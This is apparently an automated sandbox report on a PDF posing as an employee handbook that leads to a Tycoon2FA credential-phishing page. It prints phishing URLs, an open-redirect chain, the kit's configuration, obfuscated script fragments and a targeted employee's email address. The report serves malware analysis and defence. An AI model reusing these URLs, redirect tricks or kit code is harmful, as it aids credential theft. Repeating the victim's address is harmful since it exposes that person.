Edit tour

Windows Analysis Report
Munsch-Employee-Handbook.pdf

Overview

General Information

Sample name:	Munsch-Employee-Handbook.pdf
Analysis ID:	1642003
MD5:	a83f14fba9e694d0d7719eac005b848a
SHA1:	d8bfb196f474866d4abf6731f94c2d1a3342e6f8
SHA256:	28630999a2baea010d6fbf435e2140ba0a4f949cb27abd475045b46ab9fae5f8
Infos:

Detection

HTMLPhisher, Invisible JS, Tycoon2FA

Score:	100
Range:	0 - 100
Confidence:	100%

Signatures

AI detected phishing page

Found malware configuration

Yara detected AntiDebug via timestamp check

Yara detected HtmlPhish10

Yara detected Invisible JS

Yara detected Obfuscation Via HangulCharacter

Yara detected Tycoon 2FA PaaS

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected use of open redirect vulnerability

Creates files inside the system directory

Deletes files inside the Windows folder

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML body contains password input but no form action

HTML page contains hidden javascript code

HTML title does not match URL

IP address seen in connection with other malware

Invalid T&C link found

Uses Javascript AES encryption / decryption (likely to hide suspicious Javascript code)

Classification

Process Tree

System is w10x64

Acrobat.exe (PID: 7820 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\Desktop\Munsch-Employee-Handbook.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 8004 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2148 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2084 --field-trial-handle=1568,i,3677779634465442886,8973381024540968932,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

chrome.exe (PID: 8112 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://emailtracking.scopeappointmentforyou.com/link?messageId=<bf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com>&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com MD5: E81F54E6C1129887AEA47E7D092680BF)

chrome.exe (PID: 5804 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --field-trial-handle=2056,i,889037942201260479,17174289915668172751,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction --variations-seed-version=20250306-183004.429000 --mojo-platform-channel-handle=2104 /prefetch:3 MD5: E81F54E6C1129887AEA47E7D092680BF)

cleanup

Malware Configuration

Threatname: Tycoon2FA

{
  "otherweburl": "",
  "websitenames": "[\"godaddy\", \"okta\"]",
  "bes": "[\"Apple.com\",\"Netflix.com\"]",
  "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]",
  "capnum": "1",
  "appnum": "1",
  "pvn": "0",
  "view": "",
  "pagelinkval": "rpQ2b",
  "emailcheck": "mshierry@munsch.com",
  "webname": "rtrim(/web9/, '/')",
  "urlo": "/kc4aTzflY0WS9C9KyHmqQuGZwKOOmnAn9g9cnaj94Rih3dicllky9ZHo9y"
}

Yara Signatures

Dropped Files

Source	Rule	Description	Author	Strings
dropped/chromecache_314	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security

HTML

Source	Rule	Description	Author
0.2.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.2.d.script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.d.script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.6..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.11..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.9.d.script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.16.d.script.csv	JoeSecurity_Tycoon2FA	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.12..script.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
0.1.d.script.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.19..script.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.0.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.0.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
0.1.pages.csv	JoeSecurity_HangulCharacter	Yara detected Obfuscation Via HangulCharacter	Joe Security
0.1.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.4.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.4.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.4.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
0.0.pages.csv	JoeSecurity_InvisibleJS	Yara detected Invisible JS	Joe Security
1.3.pages.csv	JoeSecurity_Tycoon2FA_1	Yara detected Tycoon 2FA PaaS	Joe Security
1.3.pages.csv	JoeSecurity_AntiDebugBrowser	Yara detected AntiDebug via timestamp check	Joe Security
1.3.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security
Click to see the 19 entries

Joe Sandbox Signatures

• AV Detection
• Phishing
• Compliance
• Networking
• System Summary
• Hooking and other Techniques for Hiding and Protection
• Malware Analysis System Evasion

Click to jump to signature section

Show All Signature Results

AV Detection

Found malware configuration

Source: 1.16.d.script.csv

Malware Configuration Extractor: Tycoon2FA {"otherweburl": "", "websitenames": "[\"godaddy\", \"okta\"]", "bes": "[\"Apple.com\",\"Netflix.com\"]", "pes": "[\"https:\\/\\/t.me\\/\",\"https:\\/\\/t.com\\/\",\"t.me\\/\",\"https:\\/\\/t.me.com\\/\",\"t.me.com\\/\",\"t.me@\",\"https:\\/\\/t.me@\",\"https:\\/\\/t.me\",\"https:\\/\\/t.com\",\"t.me\",\"https:\\/\\/t.me.com\",\"t.me.com\",\"t.me\\/@\",\"https:\\/\\/t.me\\/@\",\"https:\\/\\/t.me@\\/\",\"t.me@\\/\",\"https:\\/\\/www.telegram.me\\/\",\"https:\\/\\/www.telegram.me\"]", "capnum": "1", "appnum": "1", "pvn": "0", "view": "", "pagelinkval": "rpQ2b", "emailcheck": "mshierry@munsch.com", "webname": "rtrim(/web9/, '/')", "urlo": "/kc4aTzflY0WS9C9KyHmqQuGZwKOOmnAn9g9cnaj94Rih3dicllky9ZHo9y"}

Phishing

AI detected phishing page

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is classified as 'wellknown'., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'o0o6.bvyunz.ru' does not match the legitimate domain for Microsoft., The URL uses a '.ru' domain extension, which is unusual for Microsoft and could indicate a phishing attempt., The URL contains suspicious elements such as 'o0o6' and 'bvyunz', which do not relate to Microsoft., The presence of a 'Sign in' input field on a non-legitimate domain is a common phishing tactic. DOM: 1.3.pages.csv
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	Joe Sandbox AI: Score: 9 Reasons: The brand 'Microsoft' is a well-known global technology company., The legitimate domain for Microsoft is 'microsoft.com'., The provided URL 'o0o6.bvyunz.ru' does not match the legitimate domain for Microsoft., The URL contains a suspicious domain extension '.ru', which is not typically associated with Microsoft., The URL structure 'o0o6.bvyunz.ru' appears random and does not relate to Microsoft, indicating potential phishing., Presence of a password input field on a non-legitimate domain is a common phishing tactic. DOM: 1.4.pages.csv

Yara detected HtmlPhish10

Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

Yara detected Invisible JS

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML

Yara detected Obfuscation Via HangulCharacter

Source: Yara match	File source: 0.1.d.script.csv, type: HTML
Source: Yara match	File source: 1.19..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: dropped/chromecache_314, type: DROPPED

Yara detected Tycoon 2FA PaaS

Source: Yara match	File source: 1.16.d.script.csv, type: HTML
Source: Yara match	File source: 0.2.d.script.csv, type: HTML
Source: Yara match	File source: 0.6..script.csv, type: HTML
Source: Yara match	File source: 1.11..script.csv, type: HTML
Source: Yara match	File source: 0.9.d.script.csv, type: HTML
Source: Yara match	File source: 1.12..script.csv, type: HTML
Source: Yara match	File source: 0.0.pages.csv, type: HTML
Source: Yara match	File source: 0.1.pages.csv, type: HTML
Source: Yara match	File source: 1.4.pages.csv, type: HTML
Source: Yara match	File source: 1.3.pages.csv, type: HTML

AI detected landing page (webpage, office document or email)

Source: PDF document

Joe Sandbox AI: PDF document contains QR code

AI detected suspicious Javascript

Source: 0.0..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch... This script demonstrates several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` to decode base64-encoded strings, followed by `eval()` to execute the decoded content, poses a significant security risk. Additionally, the script appears to be sending data to an untrusted domain, which further increases the risk. Overall, this script exhibits a high level of malicious intent and should be treated with caution.
Source: 0.8..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch... The script uses dynamic code execution via the Function constructor with base64-decoded content, which is a high-risk indicator. It also manipulates the window location, potentially redirecting users, and includes obfuscated logic, suggesting malicious intent.
Source: 0.1.d.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: anonymous function... The script uses dynamic code execution via eval, which is a high-risk indicator. It also contains obfuscated code, another high-risk indicator. The combination of these behaviors suggests a high potential for malicious activity.
Source: 1.12..script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwav... The script exhibits several high-risk behaviors: it redirects to an external domain (amazon.com) based on debugger detection, uses obfuscated code, and prevents user actions like context menu and key combinations. These behaviors suggest an attempt to evade debugging and user inspection, indicating potentially malicious intent.

Detected use of open redirect vulnerability

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Proxy from: emailtracking.scopeappointmentforyou.com/link?messageid=<bf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com>&url=https://o0o6.bvyunz.ru/3v4jfq-cuo/mshierry@munsch.com to https://o0o6.bvyunz.ru/3v4jfq-cuo/mshierry@munsch.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Proxy from: emailtracking.scopeappointmentforyou.com/link?messageid=<bf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com>&url=https://o0o6.bvyunz.ru/3v4jfq-cuo/mshierry@munsch.com to https://o0o6.bvyunz.ru/3v4jfq-cuo/mshierry@munsch.com

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM

HTTP Parser: Number of links: 0

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM

HTTP Parser: <input type="password" .../> found but no <form action="...

Source: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com

HTTP Parser: Base64 decoded: <!DOCTYPE html><html lang="en"><head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>AI UI Template</title> <style> body { font-family: 'Segoe UI', Tahoma, Geneva,...

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM

HTTP Parser: Title: Sign In For Account Access does not match URL

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: Invalid link: Terms of use
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: Invalid link: Privacy & cookies
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: Invalid link: Terms of use
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: Invalid link: Privacy & cookies

Source: https://o0o6.bvyunz.ru/3v4jfQ-cUo/*mshierry@munsch.com	HTTP Parser: function gvagdwipin(){bkjrmxpynd = atob("pcfet0nuwvbfigh0bww+cjxodg1sigxhbmc9imvuij4kpghlywq+ciagica8bwv0ysbjagfyc2v0psjvveytoci+ciagica8bwv0ysbuyw1lpsj2awv3cg9ydcigy29udgvudd0id2lkdgg9zgv2awnllxdpzhrolcbpbml0awfslxnjywxlpteumci+ciagica8dgl0bgu+r3jhcghpyybdyxjkifdlyibuzw1wbgf0ztwvdgl0bgu+ciagica8c3r5bgu+ciagicagicagym9kesb7ciagicagicagicagigzvbnqtzmftawx5oiantw9udhnlcnjhdccsihnhbnmtc2vyawy7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxytfhmmu7ciagicagicagicagignvbg9yoiajztblmguwowogicagicagicagicbtyxjnaw46ida7ciagicagicagicagihbhzgrpbmc6ida7ciagicagicagicagigxpbmutagvpz2h0oiaxljy7ciagicagicagfqogicagicagighlywrlcib7ciagicagicagicagigjhy2tncm91bmqty29sb3i6icmxnjixm2u7ciagicagicagicagihbhzgrpbmc6idmwchg7ciagicagicagicagihrlehqtywxpz246ignlbnrlcjskicagicagicagicagym9yzgvylwjvdhrvbtogm3b4ihnvbglkicnlotq1nja7ciagicagicagfqogicagicagighlywrlcibomsb7ciagicagicagicagig1hcmdpbjogmdskicagicagicagicagzm9udc1zaxploia0mnb4owogicagicagicagicbjb2xvcjogi2u5ndu2mdskicagicagicagicagdgv4dc10cmfuc2zvcm06ihvwcgvyy2fzztskicagicagi...
Source: anonymous function	HTTP Parser: var otherweburl = "";var websitenames = ["godaddy", "okta"];var bes = ["apple.com","netflix.com"];var pes = ["https:\/\/t.me\/","https:\/\/t.com\/","t.me\/","https:\/\/t.me.com\/","t.me.com\/","t.me@","https:\/\/t.me@","https:\/\/t.me","https:\/\/t.com","t.me","https:\/\/t.me.com","t.me.com","t.me\/@","https:\/\/t.me\/@","https:\/\/t.me@\/","t.me@\/","https:\/\/www.telegram.me\/","https:\/\/www.telegram.me"];var capnum = 1;var appnum = 1;var pvn = 0;var view = "";var pagelinkval = "rpq2b";var emailcheck = "mshierry@munsch.com";var webname = "rtrim(/web9/, '/')";var urlo = "/kc4atzfly0ws9c9kyhmqqugzwkoomnan9g9cnaj94rih3dicllky9zho9y";var gdf = "/ijegvmdrexrhebmtcdwkbfyzu0ic3oew484aab119";var odf = "/ijau7rofcsvkwuxifq2en1uvoerwcdc6sqolftcdcd650";var twa = 0;var currentreq = null;var requestsent = false;var pagedata = "";var redirecturl = "";var useragent = navigator.useragent;var browsername;var userip;var usercountry;var errorcodeexecuted = false;if(useragent....

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM

HTTP Parser: <input type="password" .../> found

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: No favicon
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: No favicon

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: No <meta name="author".. found
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: No <meta name="author".. found

Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: No <meta name="copyright".. found
Source: https://o0o6.bvyunz.ru/dqqbcnzwmpsihmpnnnggekzqwavgysussonetxtvmptkchpqzvkzzbqeme8ohnwao2c48z9s076gsj409u5fs7?ANABHKMFXMXKTHQFSKYRCKGRUM	HTTP Parser: No <meta name="copyright".. found

Source: unknown	HTTPS traffic detected: 3.24.57.108:443 -> 192.168.2.4:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 3.24.57.108:443 -> 192.168.2.4:49724 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.96.1:443 -> 192.168.2.4:49728 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.186.36:443 -> 192.168.2.4:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 151.101.130.137:443 -> 192.168.2.4:49734 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.18.95.41:443 -> 192.168.2.4:49735 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.17.25.14:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.4.189:443 -> 192.168.2.4:49746 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.16.2.189:443 -> 192.168.2.4:49748 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:54375 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:54377 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.80.1:443 -> 192.168.2.4:54383 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 35.190.80.1:443 -> 192.168.2.4:54384 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 140.82.121.4:443 -> 192.168.2.4:54398 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:54399 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:54400 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 185.199.111.133:443 -> 192.168.2.4:54403 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.68:443 -> 192.168.2.4:54418 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 13.33.187.96:443 -> 192.168.2.4:54426 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.26.0.100:443 -> 192.168.2.4:54430 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.48.1:443 -> 192.168.2.4:54435 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.70.233:443 -> 192.168.2.4:54434 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 104.21.64.1:443 -> 192.168.2.4:54436 version: TLS 1.2

Source: global traffic	TCP traffic: 192.168.2.4:58210 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:54362 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:51055 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:54964 -> 1.1.1.1:53
Source: global traffic	TCP traffic: 192.168.2.4:49671 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: emailtracking.scopeappointmentforyou.com to https://o0o6.bvyunz.ru/3v4jfq-cuo/*mshierry@munsch.com
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: emailtracking.scopeappointmentforyou.com to https://o0o6.bvyunz.ru/3v4jfq-cuo/*mshierry@munsch.com

Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.48.1 104.21.48.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1
Source: Joe Sandbox View	IP Address: 104.21.64.1 104.21.64.1

Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 204.79.197.203
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 52.113.196.254
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 20.189.173.27
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 2.17.190.73
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 217.20.57.19
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99
Source: unknown	TCP traffic detected without corresponding DNS query: 142.250.185.99

Source: global traffic	HTTP traffic detected: GET /link?messageId=%3Cbf38bdab-bb31-sl37-4ca8-98a8-3d879d6472df@scopeappointmentforyou.com%3E&url=https://o0O6.bvyunz.ru/3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1Host: emailtracking.scopeappointmentforyou.comConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /3v4jfQ-cUo/mshierry@munsch.com HTTP/1.1Host: o0o6.bvyunz.ruConnection: keep-aliveUpgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/*;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentsec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /jquery-3.6.0.min.js HTTP/1.1Host: code.jquery.comConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptSec-Fetch-Storage-Access: activeReferer: https://o0o6.bvyunz.ru/Accept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9
